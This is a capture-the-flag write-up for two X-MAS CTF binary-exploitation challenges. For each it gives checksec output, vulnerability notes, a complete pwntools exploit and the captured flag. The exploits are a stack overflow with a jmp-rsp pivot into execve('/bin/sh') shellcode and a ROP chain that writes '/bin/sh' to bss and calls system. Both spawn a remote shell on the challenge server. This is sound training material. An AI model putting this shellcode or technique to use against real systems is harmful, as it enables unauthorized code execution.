Naughty

Description: You haven’t been naughty, have you?

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

Notes:

  • The binary has no mitigation, so we can do a stack bof and write our shellcode somewhere on the stack
  • fgets() reads in 0x47 bytes from the user, the two bytes from the base pointer has to be 0xe4ff, which is the opcode for jmp esp (hint that a pivot is needed)
  • Since we are limited on stack space, we could overwrite the return address with a jmp rsp to pivot to the beginning of our buffer to execute system(‘/bin/sh’) shellcode

PoC:

from pwn import *

def build_shellcode():
    shellcode = asm('push rax')
    shellcode += asm('xor rdx, rdx')
    shellcode += asm('xor rsi, rsi')
    shellcode += asm('movabs rbx, 0x68732f2f6e69622f')
    shellcode += asm('push rbx')
    shellcode += asm('push rsp')
    shellcode += asm('pop rdi')
    shellcode += asm('mov al, 0x3b')
    shellcode += asm('syscall')

    return shellcode

def send_payload(shellcode, io):
    payload = shellcode
    payload += b'\x00'*7 # pad 
    payload += b'A'*(39-(len(shellcode))) # junk
    payload += p64(0xe4ff) # JMP ESP opcode for cmp
    payload += b'\x00'*2 # pad
    payload += p64(0x40067f) # jump rsp
    payload += asm('sub rsp, 0x40; jmp rsp') # pivot stack to beginning of buffer to run shellcode

    io.sendlineafter('XMAS', payload)

def main():
    isLocal = False
    isDebug = False

    if isLocal:
        io = process('./chall')
    else:
        io = remote('challs.xmas.htsp.ro', 2000)
    
    if isDebug:
        gdb.attach(io, '''
            b *0x4006b1
            b *0x4006d5
        ''')

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-v']
    context.arch = 'amd64'

    shellcode = build_shellcode()
    send_payload(shellcode, io)
    io.interactive()

if __name__=='__main__':
    main()

#X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}

Ready for Xmas?

Description: Are you ready for aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bin/shawhkj\xffwaa ?

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Notes:

  • memset(0x601068, 0, 9) gives us 9 bytes to write to in the bss
  • gets() -> buffer overflow
  • NX is enabled so can’t execute on stack
  • No PIE, can use ropchain to write ‘/bin/sh’ to bss and pass bss address into system
  • mprotect is used here to check input for presence of ‘sh’ and ‘cat’.

The approach I took was to build a ropchain to use gets() to write ‘/bin/sh’ to the bss and then pass that address to system. The only gadget needed for this was a pop rdi ; ret

PoC:

from pwn import *

POP_RDI_RET = p64(0x00000000004008e3)
RET = p64(0x00000000004005e6)

def create_payload(junk):

    payload = b''
    payload += junk
    payload += POP_RDI_RET
    payload += p64(0x601068) #  bss addr
    payload += p64(0x400630) # gets
    payload += RET
    payload += POP_RDI_RET
    payload += p64(0x601068) # bss addr
    payload += RET
    payload += RET
    payload += RET
    payload += p64(0x400610) # system

    return payload

def send_payload(io, payload):
    io.sendlineafter('Christmas?', payload)

def main():

    isRemote = False
    if isRemote:
        io = remote('challs.xmas.htsp.ro', 2001)
    else:
        io = process(['./chall'])

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    context.binary = './chall'

    isDebug = False
    if isDebug:
        gdb.attach(io, '''
            b *0x400852
            b *0x400875
                ''')

    junk = b'A'*72
    payload = create_payload(junk)

    send_payload(io, payload)

    # write to bss
    io.sendline(b'/bin/sh\x00')

    io.interactive()


if __name__ == "__main__":
    main()

# X-MAS{l00ks_lik3_y0u_4re_r3ady}